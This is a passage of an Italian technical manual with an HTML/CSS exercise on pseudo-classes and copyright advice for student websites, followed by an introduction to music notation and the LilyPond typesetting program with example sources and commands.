In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-blocchi-css-01.html`' che produca un risultato abbastanza simile a quello seguente, quando viene visto attraverso un navigatore:

ASCII

Una piccola porzione del codice ASCII.

Codifica			Carattere
Ottale	Decimale	Esadecimale	
141_8	97	61_{16}	a
142_8	98	62_{16}	b
143_8	99	63_{16}	c
144_8	100	64_{16}	d
145_8	101	65_{16}	e
146_8	102	66_{16}	f
147_8	103	67_{16}	g
150_8	104	68_{16}	h
151_8	105	69_{16}	i
152_8	106	$6A_{16}$	j

Si osservi che il testo nelle celle ha un margine di 5mm e che i valori numerici sono allineati alla destra.

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.18 Contesto dinamico

Dal momento che un documento HTML viene letto normalmente attraverso un navigatore, con il quale si interagisce, è possibile fare riferimento a delle pseudo-classi il cui ambito riguarda la dinamica di interazione con l'utente. I casi principali riguardano i riferimenti ipertestuali, che possono essere già stati visitati o meno, e la posizione del puntatore del mouse sopra il documento.

Tabella 67.120. Pseudo-classi utili nell'ambito dell'interazione con l'utente.

Pseudo-classe	Descrizione
`:link`	Include i riferimenti ipertestuali che non sono ancora stati visitati.
`:visited`	Include i riferimenti ipertestuali che sono già stati visitati.
`:hover`	Riguarda un componente che si trova a essere sormontato dal puntatore del mouse, senza che l'utente compia altre azioni con questo.
`:active`	Riguarda un componente che si trova a essere selezionato, per esempio con un clic del mouse.
`:focus`	Riguarda un componente che si trova a essere a fuoco, per esempio quando si scrive in una casella di inserimento.

67.18.1 File «dinamica-css-01.html»

Si realizzi il file '`dinamica-css-01.html`' con il contenuto seguente, partendo eventualmente dalla copia di altri esercizi fatti in precedenza:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Pseudo-classi dinamiche,
6           esempio 01">
7       <META NAME="Keywords" CONTENT="HTML, CSS, pseudo-classi, esempio">
8       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9       <META NAME="Date" CONTENT="2010.01.01">
10      <META NAME="Resource-type" LANG="en" CONTENT="Document">
11      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12      <META NAME="Robots" CONTENT="ALL">
13      <TITLE>Dinamica</TITLE>
14      <STYLE TYPE="text/css">
15          <!--
16              BODY {
17                  font-size:        5mm;
18              }
19              H1 {
20                  font-size:        1cm;
21              }
22              SPAN:hover {
23                  font-size:        1cm;
24              }
25              A:hover {
```

```
26                  background-color: yellow;
27              }
28              A:active {
29                  background-color: red;
30              }
31              A:link {
32                  color:          blue;
33              }
34              A:visited {
35                  color:          green;
36              }
37          -->
38      </STYLE>
39  </HEAD>
40  <BODY>
41
42  <H1>Le cose che mi piacciono</H1>
43
44  <P>Ci sono due cose che mi piacciono: il <SPAN>software libero</SPAN> e
45  gli <SPAN>standard liberi</SPAN>. Per saperne di pi&ugrave; sul
46  <SPAN>software libero</SPAN> si pu&ograve; leggere qualcosa di utile a
47  partire dal sito <A HREF="http://www.gnu.org">http://www.gnu.org</A>;
48  per quanto riguarda gli standard <SPAN>W3C</SPAN>, si veda il sito <A
49  HREF="http://www.w3.org">http://www.w3.org</A>.</P>
50
51  </BODY>
52  </HTML>
```

Non viene mostrato l'aspetto finale del documento, perché ciò che conta è quello che accade quando si sposta il puntatore del mouse sopra ai termini delimitati dagli elementi '**SPAN**' e sugli elementi '**A**'. Si provi anche a selezionare uno dei riferimenti ipertestuali, in modo da vedere cambiare il colore dello sfondo, nel momento della selezione.

67.19 Rispetto del diritto d'autore

Quando si scrive un documento destinato alla diffusione, occorre fare attenzione a rispettare il diritto d'autore e le regole di cortesia comuni. La prima cosa che fa, normalmente, chi comincia a realizzare delle pagine HTML, è quella di recuperare dalla rete ciò che può servire per abbellire il proprio «sito». Dal punto di vista psicologico, questo comportamento sembra una cosa naturale, come sarebbe naturale raccogliere delle conchiglie da una spiaggia o dei sassolini colorati dal letto di un torrente, ma ciò che si trova attraverso Internet non è un dono della natura e occorre un atteggiamento differente.

Sia le leggi sul diritto d'autore, sia le regole di buon comportamento, impongono di accertare la possibilità di riutilizzare del materiale che si potrebbe ottenere attraverso la rete. Una volta accertata la possibilità, salvo altri obblighi stabiliti dall'autore, tutto ciò che non è lavoro proprio deve contenere un riferimento al suo autore e possibilmente all'origine dalla quale questo è stato ottenuto. In circostanze particolari, la pubblicazione di un simbolo o di un logo non richiede l'indicazione del riferimento bibliografico, ma impone probabilmente altri oneri; per esempio, il mostrare il logo della verifica ISO 15445 significa garantire che il proprio lavoro è conforme a tale standard.

Per quanto riguarda la normativa italiana sul rispetto del diritto d'autore, si osservi che non è previsto il *fair use*.

67.19.1 Verifica conclusiva

In base a quanto appreso da queste lezioni su HTML e sui fogli di stile CSS, si realizzi un proprio «sito», scegliendo liberamente il tema. Se si vogliono utilizzare oggetti (immagini o altro) di altri autori, si accerti la possibilità di agire in tal modo, avendo cura di fare i riferimenti del caso. Per quanto riguarda il testo, non si possono copiare brani di documenti di altri autori, salva la possibilità di usare la citazione.

Non si includano file audio-visuali, né software; nel caso di riproduzione di immagini, anche parziali, e di citazioni, ci si accerti di avere ottenuto il permesso (dagli autori, dagli eredi o da chi ne ha acquisito i diritti), oppure che gli autori siano morti da più di 70 anni. Si rammenti che le norme italiane sul diritto d'autore non contemplano il *fair use*.

Il lavoro deve essere conforme allo standard ISO 15445 e alle regole previste per i fogli di stile CSS, pertanto, ogni pagina HTML deve riportare le icone di verifica ISO 15445 e CSS. Si veda eventualmente il file '`stile-01.html`' (sezione 67.12.1), in cui si utilizzano queste due icone.

Il lavoro deve essere accessibile sia attraverso un navigatore grafico, sia attraverso un navigatore senza grafica.

Il lavoro deve riportare il copyright del proprio autore (il copyright deve apparire in ogni file HTML) e possibilmente le condizioni alle quali è sottoposto il suo utilizzo (si veda eventualmente il lavoro di Creative Commons ⟨*http://creativecommons.org/*⟩).

67.20 Riferimenti

- W3C, *Technical Reports and Publications*
  ⟨*http://www.w3.org/TR/*⟩
- W3C, *Cascading Style Sheets, level 1*
  ⟨*http://www.w3.org/TR/CSS1/*⟩
- W3C, *Cascading Style Sheets, level 2*
  ⟨*http://www.w3.org/TR/CSS2/*⟩
- Eric A. Meyer, *CSS/edge*
  ⟨*http://meyerweb.com/eric/css/edge/*⟩
- *Creative Commons*
  ⟨*http://creativecommons.org/*⟩

Spartiti musicali

68.1 Concetti elementari sulle notazioni musicali 3953

68.1.1 Denominazione delle note 3953
68.1.2 Disposizione simbolica delle note sul pentagramma 3955
68.1.3 Rappresentazione delle note e delle pause sul pentagramma 3956
68.1.4 Unità di tempo 3957
68.1.5 Alterazioni 3957

68.2 Introduzione a LilyPond 3958

68.2.1 Note e pause 3958
68.2.2 Alterazioni 3963
68.2.3 Impaginazione 3964
68.2.4 File MIDI 3964
68.2.5 Altri formati 3967
68.2.6 Programmi frontali 3967
68.2.7 Progetto Mutopia 3967

68.3 Riferimenti 3969

`abc2ly` 3967 `convert-ly` 3967 `etf2ly` 3967 `mup2ly` 3967 `musedata2ly` 3967 `pmx2ly` 3967

68.1 Concetti elementari sulle notazioni musicali

La notazione musicale odierna, utilizza un pentagramma, ovvero cinque linee e quattro spazi orizzontali, sul quale si dispongono dei simboli che rappresentano principalmente la frequenza di suoni e la loro durata. Secondo le convenzioni, i suoni sono rappresentati da note, a cui sono attribuiti dei nomi, delimitando un intervallo di frequenze chiamato ottava. Un'ottava rappresenta solo un intervallo limitato di queste frequenze; l'ottava successiva è costituita da frequenze doppie rispetto all'ottava precedente; in pratica, una nota di un'ottava ha una frequenza doppia rispetto alla stessa nota nell'ottava precedente.

68.1.1 Denominazione delle note

Secondo le convenzioni attuali, le note sono sette, con nomi diversi a seconda della lingua utilizzata. Tuttavia, queste sette note rappresentano 12 semitoni.

Esistono due denominazioni: «DO, RE, MI, FA, SOL, LA, SI», stabilita attorno all'anno 1000 da Guido d'Arezzo; «C, D, E, F, G, A, B», di origine greca antica. Attualmente, la seconda notazione è quella utilizzata nella lingua inglese e, con una piccola variante, nella lingua tedesca.

Tabella 68.1. Denominazione delle note musicali.

Frequenza di riferimento	italiano, spagnolo, francese	inglese, olandese	tedesco, norvegese, svedese
494 Hz	SI	B	H
440 Hz	LA	A	A
392 Hz	SOL	G	G
349 Hz	FA	F	F
330 Hz	MI	E	E
294 Hz	RE	D	D
262 Hz	DO	C	C

Secondo le convenzioni, la frequenza di riferimento è quella della nota LA, a 440 Hz. Da questa frequenza si ottengono quelle degli altri semitoni dell'ottava, secondo la formula: $440*k^n$. La costante k vale precisamente $2^{1/12}$; pertanto, i 12 semitoni corrispondono alla tabella successiva:

frequenza di riferimento	calcolo	italiano, spagnolo, francese	inglese	olandese	tedesco	norvegese, svedese
494 Hz	$440*k^2$	SI, *DOb*	B, *C flat*	B, *Ces*	H, *Ces*	H, *Cess*
466 Hz	$440*k^1$	LA#, SIb	A sharp, B flat	Ais, Bes	Ais, B	Aiss, B
440 Hz	$440*k^0$	LA	A	A	A	A
415 Hz	$440*k^{-1}$	SOL#, LAb	G sharp, A flat	Gis, Aes	Gis, As	Giss, Aess
392 Hz	$440*k^{-2}$	SOL	G	G	G	G
370 Hz	$440*k^{-3}$	FA#, SOLb	F sharp, G flat	Fis, Ges	Fis, Ges	Fiss, Gess
349 Hz	$440*k^{-4}$	FA, *MI#*	F, *E sharp*	F, *Eis*	F, *Eis*	F, *Eiss*
330 Hz	$440*k^{-5}$	MI, *FAb*	E, *F flat*	E, *Fes*	E, *Fes*	E, *Fess*
311 Hz	$440*k^{-6}$	RE#, MIb	D sharp, E flat	Dis, Es	Dis, Es	Diss, Ess
294 Hz	$440*k^{-7}$	RE	D	D	D	D
277 Hz	$440*k^{-8}$	DO#, REb	C sharp, D flat	Cis, Des	Cis, Des	Ciss, Dess
262 Hz	$440*k^{-9}$	DO, *SI#*	C, *B sharp*	C, *His*	C, *His*	C, *Hiss*

In base a questa formuletta, si può verificare facilmente che la frequenza di una nota in un'ottava diventa doppia nell'ottava successiva. Per esempio, se il DO corrisponde a $440*k^{-9}$, ovvero 262 Hz nell'ottava di riferimento, nell'ottava successiva corrisponde a $440*k^{-9+12} = 440*k^4$, pari a 524 Hz.

Tra le note MI e FA c'è solo lo spazio di un semitono. Nello stesso modo, tra il SI e il DO successivo, c'è solo un semitono. In tutti gli altri casi, la distanza tra le note è di un tono (due semitoni).

La scelta di distribuire le note in questo modo, deriva dall'esigenza di distinguere le ottave negli strumenti a tastiera (come il piano). La figura 68.3 evidenzia un'ottava su una porzione di tastiera musicale.

Figura 68.3. Distribuzione di un'ottava su uno strumento a tastiera.

A seconda del punto di vista, quando tra due note c'è lo spazio di uno tono intero, si può indicare il semitono mancante con il nome della nota che lo precede, seguito dal simbolo «diesis», che assomiglia a un cancelletto, oppure con la nota successiva, seguita dal simbolo «bemolle», che assomiglia a una lettera «b» minuscola. Negli strumenti a tastiera non c'è differenza tra diesis della nota precedente e bemolle della nota successiva, mentre negli strumenti ad arco si intende indicare un suono che è un po' più vicino all'una o all'altra nota, senza essere precisamente nel mezzo.

68.1.2 Disposizione simbolica delle note sul pentagramma

La nota è rappresentata da un simbolo disposto sul pentagramma: la posizione di questo simbolo in relazione alle righe del pentagramma indica la nota stessa; la forma del simbolo rappresenta invece la durata della nota.

Il pentagramma si disegna con cinque linee orizzontali, che delimitano in pratica nove righe su cui collocare le note musicali (cinque linee e quattro spazi):

La corrispondenza di queste righe con le note dipende da un simbolo iniziale, speciale, denominato «chiave». La chiave che consente di rappresentare facilmente le note dell'ottava che si usa comunemente è la chiave di violino, o chiave di SOL (perché centrata sulla seconda linea, dal basso, a rappresentare la nota SOL).

Figura 68.5. Pentagramma con chiave di SOL iniziale.

In condizioni normali, le righe del pentagramma fanno riferimento alla sequenza delle sette note principali, con il SOL centrato sulla riga corrispondente alla seconda linea, come si vede nella figura successiva.

Figura 68.6. Posizioni sul pentagramma, secondo la disposizione normale con chiave di SOL.

DO RE MI FA SOL LA SI

Figura 68.7. Posizioni sul pentagramma, secondo la disposizione normale con chiave di basso e chiave di SOL. Si osservi che le prime sette note sono esattamente nell'ottava inferiore rispetto a quelle che compaiono in riferimento alla chiave di SOL.

DO RE MI FA SOL LA SI DO RE MI FA SOL LA SI

68.1.3 Rappresentazione delle note e delle pause sul pentagramma

Il simbolo usato per rappresentare una nota sul pentagramma è un ovale (***testa***), leggermente obliquo, che può essere vuoto, pieno, può avere una ***gamba***, ovvero una stanghetta, che si innalza o si abbassa indifferentemente a seconda della collocazione della nota. La forma del simbolo determina la durata, che si esprime come frazione, oppure attraverso un nome particolare. Oltre alle note, nel pentagramma si indicano pause di silenzio, come si vede riassunto nella tabella successiva.

Tabella 68.8. Rappresentazione simbolica della durata delle note e delle pause di silenzio.

Nota e pausa	Durata	Nome
	Intero	Semibreve
	Metà	Minima
	Quarto	Semiminima
	Ottavo	Croma
	Sedicesimo	Semicroma

Nota e pausa	Durata	Nome
1/32	Trentaduesimo	Biscroma
1/64	Sessantaquattresimo	Semibiscroma

La durata di una nota può essere allungata della metà del suo valore, aggiungendo un punto subito dopo la testa della stessa. Per esempio, una nota da un quarto (semiminima) seguita da un punto, vale 3/8 (1/4 + 1/8); nello stesso modo, una nota da un quarto, seguita da due punti in orizzontale, vale 7/16 (1/4 + 1/8 + 1/16).

68.1.4 Unità di tempo

Lo spazio orizzontale del pentagramma viene suddiviso in porzioni, denominate ***battuta*** o ***misura***, che rappresentano una durata uniforme. All'interno di queste battute, possono essere inserite note e pause, per un totale conforme al ***tempo***, che si esprime come frazione, all'inizio del pentagramma stesso.

1 2 3 1 23 1 2 3

L'esempio mostra un tempo di 3/4, che sta a indicare una misura contenente un totale di tre semiminime (tre quarti).

Naturalmente, la durata effettiva dipende dalla lunghezza della battuta.

68.1.5 Alterazioni

Il valore di una nota dipende dalla collocazione verticale che ha sul pentagramma, tenendo conto della chiave iniziale, che stabilisce il riferimento di partenza. Dal momento che in questo modo manca la possibilità di rappresentare alcuni semitoni, si devono usare delle rappresentazioni speciali per questi. Si usano precisamente i simboli della tabella seguente:

Simbolo	Nome in italiano	Nome in inglese	Significato
♯	diesis	sharp	Innalza di un semitono.
♯♯	doppio diesis	double sharp	Innalza di due semitoni.
𝄪	doppio diesis	double sharp	Innalza di due semitoni.
♭	bemolle	flat	Abbassa di un semitono.
♭♭	doppio bemolle	double flat	Abbassa di due semitoni.
♮	bequadro	natural	Ripristina il tono normale.

Questi simboli si collocano sul pentagramma, per indicare che ciò che segue viene alterato

di conseguenza, ma il campo di azione è diverso a seconda del contesto: se si inseriscono all'inizio, subito dopo la chiave, riguardano tutto il pentagramma; se si inseriscono nell'ambito di una battuta, riguardano le note successive, fino alla fine della battuta.

FA SOL LAb SIb DO RE MIb

Come si vede dall'esempio, tre note vengono alterate in modo sistematico: MI, che si deve intendere come MI-bemolle; LA, che si deve intendere come LA-bemolle; SI, che si deve intendere SI-bemolle. Volendo invece ripristinare occasionalmente i valori normali, si usa il bequadro:

FA SOL LA SI DO RE MI

68.2 Introduzione a LilyPond

LilyPond[1] è una sorta di compilatore, per la composizione musicale. Per la composizione si parte da un sorgente, scritto con un linguaggio che ha delle similitudini con TeX/LaTeX, il quale viene compilato per generare lo spartito in formato DVI. La compilazione, se richiesto, può generare anche un file MIDI.

> LilyPond è un lavoro in continuo sviluppo, a causa del quale il formato del sorgente subisce cambiamenti da una versione all'altra.

Qui vengono descritti alcuni concetti essenziali riferiti all'utilizzo di questo programma, con alcuni esempi molto semplici, con l'auspicio che quanto mostrato rimanga valido il più a lungo possibile. Fortunatamente, la documentazione originale di LilyPond è abbastanza buona e offre la descrizione di esempi aggiornati.

68.2.1 Note e pause

Senza entrare troppo nel dettaglio dell'articolazione del sorgente di LilyPond, dal momento che questo è sempre soggetto a variazioni, si può cominciare con una struttura molto semplice, secondo il modello seguente:

```
\include "linguaggio.ly"
\score {
    \notes {
        note
    }
    \paper {
        impaginazione
    }
}
```

Quelle che si vedono sembrano delle macro di TeX, ma in pratica non viene usata qui tale definizione.

Inizialmente, si vede l'istruzione '**`\include`**', che intuitivamente serve a incorporare uno stile esterno. La notazione musicale cambia da un paese all'altro e quella predefinita è olandese. Pertanto, nella maggior parte delle situazioni, diventa necessario incorporare inizialmente lo stile che consente di utilizzare la notazione più adatta alla propria nazionalità.

Nell'ambito della direttiva '**`\notes`**', si indicano le note con delle sigle che cambiano in base alla scelta della nazionalità, secondo la tabella 68.13.

Tabella 68.13. Denominazione delle note in base alla nazionalità.

Stile	DO	RE	MI	FA	SOL	LA	SIb	SI	Diesis	Bemolle	Pausa
nederlands.ly	c	d	e	f	g	a	bes	b	*x*is	*x*es	r
english.ly	c	d	e	f	g	a	bf bflat	b	*x*s *x*sharp	*x*f *x*flat	r
deutsch.ly	c	d	e	f	g	a	b	h	*x*is	*x*es	r
norsk.ly	c	d	e	f	g	a	b	h	*x*iss *x*is	*x*ess *x*es	r
svenska.ly	c	d	e	f	g	a	b	h	*x*iss	*x*ess	r
italiano.ly	do	re	mi	fa	sol	la	sib	si	*x*d	*x*b	r
catalano.ly	do	re	mi	fa	sol	la	sib	si	*x*d *x*s	*x*b	r
espanol.ly	do	re	mi	fa	sol	la	sib	si	*x*s	*x*b	r

Si noti che la pausa si indica con la lettera «r», perché questa è l'iniziale di *rest*.

Gli esempi vengono mostrati con la notazione per la lingua italiana, pertanto, il modello iniziale per gli esempi può essere quello seguente:

```
\include "italiano.ly"
\score {
    {
        note
    }
    \layout {}
}
```

Per cominciare si può scrivere la sequenza delle note naturali per vedere poi cosa si ottiene:

```
% primo.ly
\include "italiano.ly"
\score {
    {
        do re mi fa sol la si r
    }
    \layout {}
}
```

Supponendo di chiamare il file '`primo.ly`', come si vede dal commento iniziale in stile TeX, si può procedere alla sua compilazione nel modo seguente:

`$` **`lilypond --dvi primo.ly`** [*Invio*]

Durante la compilazione, si possono vedere i messaggi seguenti:

```
GNU LilyPond 2.4.5
Processing 'primo.ly'
Parsing...
Interpreting music... [3]
Preprocessing graphical objects...
Calculating line breaks...
Layout output to 'primo.tex'...

Converting to 'primo.dvi'...
```

Da quello che si vede, si comprende che viene generato il file '`primo.tex`', compilato successivamente con LaTeX. Si ottiene così un file in formato DVI, che può essere visualizzato, o stampato, con gli strumenti appropriati (sezione 29.3). Si dovrebbe ottenere un risultato simile a quello della figura successiva:

È stata attribuita una chiave di violino in modo predefinito, con un tempo di un intero; inoltre, le note partono da un'ottava al di sotto rispetto a quella «media» della chiave utilizzata e la loro durata predefinita è di un quarto.

Si può definire esplicitamente la chiave con l'istruzione '**`\clef`**'. Le chiavi più comuni sono la chiave di violino, '**`\clef treble`**', e la chiave di basso, '**`\clef bass`**'. Viene riproposto l'esempio precedente, usando però una chiave di basso:

```
\include "italiano.ly"
\score {
    {
        \clef bass
        do re mi fa sol la si r
    }
    \layout {}
}
```

Il tono di una nota può essere alzato facendola seguire da un apice singolo: ogni apice alza la nota di un'ottava; nello stesso modo, si può abbassare il tono di una o più ottave, con l'uso di una virgola. Seguono due esempi:

```
\include "italiano.ly"
\score {
    {
        \clef treble
        do re mi fa sol la si r
    }
    \layout {}
}
```

```
\include "italiano.ly"
\score {
    {
        \clef bass
        do, re, mi, fa, sol, la, si, r
    }
    \layout {}
}
```

Il tempo si definisce con l'istruzione '**`\time`**', seguita dalla frazione a cui si vuole fare riferimento (per esempio '**`3/4`**'). La lunghezza predefinita di una nota è di un quarto. In generale, si definisce il denominatore della frazione di tempo attribuita a una nota o a una pausa con un numero intero che segue la definizione della nota stessa. Inoltre, per prolungare del 50 % la durata della nota, si può aggiungere un punto. L'esempio seguente riassume questi concetti:

```
\include "italiano.ly"
\score {
    {
        \clef treble
        \time 3/4
        do'2 re'4 mi'4. fa'8 sol'4 la'16 si'32 r32 r4 r2
    }
    \layout {}
}
```

Per definire un legato, si usano le parentesi tonde, ma ciò subito dopo la prima nota e subito prima dell'ultima da unire assieme:

```
\include "italiano.ly"
\score {
    {
        \clef treble
        \time 3/4
        do'2 ( re'4 mi'4. ) fa'8 sol'4 la'16 si'32 r32 r4 r2
    }
    \layout {}
}
```

Per facilitare l'introduzione delle note, è possibile indicare le note all'interno dell'istruzione '**`\relative`**', con cui si dichiara il DO di partenza dell'ottava a cui si vuole fare riferimento:

```
#(ly:set-option 'old-relative)
\include "italiano.ly"
\score {
    {
        \clef treble
        \time 3/4
        \relative do' {
            do4 re4 mi4 fa4 sol4 la4 si4 r2
        }
    }
    \layout {}
}
```

68.2.2 Alterazioni

Come mostra la tabella 68.13, si può alterare il tono di una nota aggiungendo una terminazione, che cambia in base allo stile nazionale selezionato. È poi LilyPond che mostra i simboli correttivi necessari (gli «accidenti»), nel modo più opportuno.

Per definire una scala predefinita differente da quella naturale in DO maggiore, si può usare l'istruzione '**`\key`**', seguita dagli attributi appropriati. L'esempio seguente mostra le note di una «scala cromatica», composta quindi dai 12 semitoni di un'ottava, con la dichiarazione iniziale di una scala in DO minore.

```
#(ly:set-option 'old-relative)
\include "italiano.ly"
\score {
    {
        \clef treble
        \key do \minor
        \time 3/4
        \relative do' {
            do4 dod4 re4 red4 mi4 fa4 fad4 sol4 sold4 la4 lad4 si4
        }
    }
    \layout {}
}
```

68.2.3 Impaginazione

L'istruzione '**\layout**', che è già stata usata negli esempi, ma sempre con un argomento nullo, controlla l'impaginazione. In modo predefinito è definito il formato della carta e un'intestazione contenente il numero di pagina. L'esempio seguente mostra come controllare il formato della carta e come eliminare la numerazione delle pagine:

```
\layout {
    papersize = "a4"
    pagenumber = "no"
}
```

LilyPond consente anche di definire il titolo, l'autore e l'intestazione dei fogli che vanno a contenere lo spartito. Questo si ottiene nell'ambito dell'istruzione '**\header**', che si colloca al di fuori di '**\score**'. Si osservi l'esempio seguente:

```
\include "italiano.ly"
\header {
    title   = "Scala in DO maggiore"
    author  = "Tizio Tizi"
    tagline = "La mia scala"
}
\score {
    …
}
```

Se non si utilizza la definizione dell'intestazione dei fogli, con l'assegnamento della variabile '**tagline**', LilyPond ne inserisce una predefinita; pertanto, se si vuole togliere questa intestazione, occorre assegnare una stringa nulla:

```
\header {
    tagline = ""
}
```

68.2.4 File MIDI

È possibile ottenere un file in formato MIDI dalla compilazione di un file LilyPond, purché esista l'istruzione '**\midi**', che si colloca solitamente vicino a '**\layout**'. L'istruzione '**\midi**' vuole un argomento, che solitamente è un gruppo vuoto ('**{}**'), a meno che si debbano indicare delle caratteristiche particolari. L'esempio seguente genera anche un file con estensione '`.midi`', contenente l'esecuzione dello spartito. Dal momento che non viene specificato lo strumento, si ottiene il suono del piano.

```
#(ly:set-option 'old-relative)
\include "italiano.ly"
\score {
    {
        \clef treble
        \key do \major
        \time 4/4
        \relative do' {
            do re mi r
            re mi fa r
            mi fa sol r
            sol sol fa mi
            re do r2
        }
    }
    \layout {}
    \midi {}
}
```

Per generare un suono diverso dal piano, si deve intervenire con un'istruzione particolare nell'ambito di '**`\score`**'. L'estratto seguente è una variante dell'esempio appena mostrato, in cui si dichiara espressamente che lo strumento abbinato è il clavicembalo:

```
\score {
    {
        \set Staff.midiInstrument = harpsichord
        \clef treble
        \key do \major
        \time 4/4
        \relative do' {
            …
        }
    }
    \layout {}
    \midi {}
}
```

I nomi degli strumenti che si possono indicare sono prestabiliti, come riportato nella tabella 68.37.

Tabella 68.37. Elenco dei nomi degli strumenti, secondo la documentazione di LilyPond.

acoustic grand	bright acoustic	electric grand	honky-tonk
electric piano 1	electric piano 2	harpsichord	clav
celesta	glockenspiel	music box	vibraphone
marimba	xylophone	tubular bells	dulcimer
drawbar organ	percussive organ	rock organ	church organ
reed organ	accordion	harmonica	concertina
acoustic guitar (nylon)	acoustic guitar (steel)	electric guitar (jazz)	electric guitar (clean)
electric guitar (muted)	overdriven guitar	distorted guitar	guitar harmonics
acoustic bass	electric bass (finger)	electric bass (pick)	fretless bass
slap bass 1	slap bass 2	synth bass 1	synth bass 2
violin	viola	cello	contrabass
tremolo strings	pizzicato strings	orchestral strings	timpani
string ensemble 1	string ensemble 2	synthstrings 1	synthstrings 2
choir aahs	voice oohs	synth voice	orchestra hit
trumpet	trombone	tuba	muted trumpet
french horn	brass section	synthbrass 1	synthbrass 2
soprano sax	alto sax	tenor sax	baritone sax
oboe	english horn	bassoon	clarinet
piccolo	flute	recorder	pan flute
blown bottle	skakuhachi	whistle	ocarina
lead 1 (square)	lead 2 (sawtooth)	lead 3 (calliope)	lead 4 (chiff)
lead 5 (charang)	lead 6 (voice)	lead 7 (fifths)	lead 8 (bass+lead)
pad 1 (new age)	pad 2 (warm)	pad 3 (polysynth)	pad 4 (choir)
pad 5 (bowed)	pad 6 (metallic)	pad 7 (halo)	pad 8 (sweep)
fx 1 (rain)	fx 2 (soundtrack)	fx 3 (crystal)	fx 4 (atmosphere)
fx 5 (brightness)	fx 6 (goblins)	fx 7 (echoes)	fx 8 (sci-fi)
sitar	banjo	shamisen	koto
kalimba	bagpipe	fiddle	shanai
tinkle bell	agogo	steel drums	woodblock
taiko drum	melodic tom	synth drum	reverse cymbal
guitar fret noise	breath noise	seashore	bird tweet
telephone ring	helicopter	applause	gunshot

Per indicare a quale velocità eseguire lo spartito nella conversione MIDI, all'interno dell'istruzione '**\midi**' si può inserire l'istruzione seguente:

```
\tempo n = m
```

In questo modo si intende una velocità di esecuzione che permetta di avere ***m*** note della durata di 1/***n*** in un minuto. L'esempio seguente serve ad avere 84 note da un quarto al minuto:

```
\midi {
    \tempo 4 = 84
}
```

Esiste anche la possibilità di estrapolare lo spartito da un file MIDI; tuttavia, il risultato che si ottiene risulta privo di indicazioni importanti, o peggio, se il file è stato ottenuto da un'esecuzione vera e propria, i tempi risultano imprecisi. In generale, questa possibilità consente di ottenere una bozza di sorgente LilyPond da adattare successivamente. Supponendo di disporre del file '`prova.midi`', si ottiene il sorgente '`prova-midi.ly`' con il comando seguente:

$ **lilypond -m prova.ly** [*Invio*]

68.2.5 Altri formati

Dal momento che esistono diverse versioni, anche incompatibili, del formato del sorgente di LilyPond, si può usare il comando '**convert-ly**' per aggiornare una vecchia versione di questo sistema di scrittura musicale. Tuttavia, fino a questo punto è stata omessa l'istruzione '**\version**', con cui si specifica, all'inizio del sorgente di LilyPond, a quale versione si sta facendo riferimento:

```
\version 1.5.65
\score {
…
}
```

È sufficiente avviare il programma '**convert-ly**' con il nome del sorgente da convertire, per ottenere l'aggiornamento dello stesso all'ultima versione disponibile (installata) di LilyPond, attraverso lo standard output. Eventualmente, si può usare l'opzione '**-e**', per aggiornare il file di partenza (lasciando una copia di sicurezza della versione precedente con estensione '~'):

$ **convert-ly -e prova.ly** [*Invio*]

In questo esempio, si ottiene quindi un nuovo file '`prova.ly`', lasciando una copia di quello vecchio con il nome '`prova.ly~`'.

Sono disponibili anche dei programmi di conversione ulteriori, per trasformare altri formati in LilyPond: '**etf2ly**' '**abc2ly**' '**pmx2ly**' '**musedata2ly**' '**mup2ly**'.

68.2.6 Programmi frontali

Esistono diversi programmi in grado di generare un sorgente LilyPond componendo in modo grafico. Per esempio, è disponibile Denemo,[2] tuttavia, la composizione fatta in questo può essere efficace solo se si studia molto bene l'utilizzo della tastiera, per poter selezionare rapidamente le note da inserire, con le loro caratteristiche.

68.2.7 Progetto Mutopia

Presso ⟨*http://www.mutopiaproject.org* ⟩ è disponibile un archivio di musica di dominio pubblico, realizzato attraverso LilyPond. Da questo archivio è possibile prelevare spartiti o esecuzioni in formato MIDI.

Generalmente conviene prelevare direttamente i file sorgenti LilyPond, per ricompilarli come si vuole. Tuttavia, questi sorgenti sono realizzati nei modi più diversi, ma soprattutto, sono fatti ognuno per una versione particolare di LilyPond.

Una volta prelevati i sorgenti di un'opera a cui si è interessati, si deve provvedere ad allinearne la versione con quella di LilyPond che si intende utilizzare. Il procedimento è semplice se si tratta di un file soltanto, oppure di più file indipendenti, riferiti a porzioni differenti dell'opera. Si propone un esempio con il file ⟨*http://www.mutopiaproject.org/ftp/BachJS/BWV777/bach-invention-06/bach-invention-06.ly* ⟩:

```
$ convert-ly -e bach-invention-06.ly[Invio]
```

```
convert-ly (GNU LilyPond) 1.6.6
Processing ‘bach-invention-06.ly’ ... Applying conversions: 1.5.33,
1.5.38, 1.5.40, 1.5.49, 1.5.52, 1.5.56, 1.5.58, 1.5.59, 1.5.62,
1.5.67, 1.5.68, 1.5.71, 1.5.72, 1.6.5,
```

In questo caso, la conversione ha funzionato, o almeno dà l'impressione di funzionare, perché il sorgente contiene l'istruzione '**\version**' appropriata:

```
\version "1.3.148"
```

Quando nel sorgente manca l'istruzione '**\version**', bisogna inserirla, dopo essere risaliti a questa indicazione, altrimenti la conversione è impossibile.

Tutto diventa molto difficile quanto il sorgente di un'opera si articola in file differenti. Di solito, chi realizza questa struttura non fornisce indicazioni sul modo corretto di ricompilare il sorgente; d'altro canto, spesso questi file sono generati da altri strumenti. In questi casi, si devono convertire tutti i file, ma spesso, solo il file principale, che richiama gli altri, contiene l'istruzione '**\version**'. Se le cose stanno così, si deve ricopiare quell'istruzione all'inizio di tutti questi file, utilizzando poi '**convert-ly**' con ognuno di questi, sperando di avere successo.

Successivamente si può passare alla compilazione, indicando il file sorgente principale, oppure ognuno dei file sorgenti principali se un'opera è suddivisa in parti separate.

```
$ lilypond --dvi bach-invention-06.ly[Invio]
```

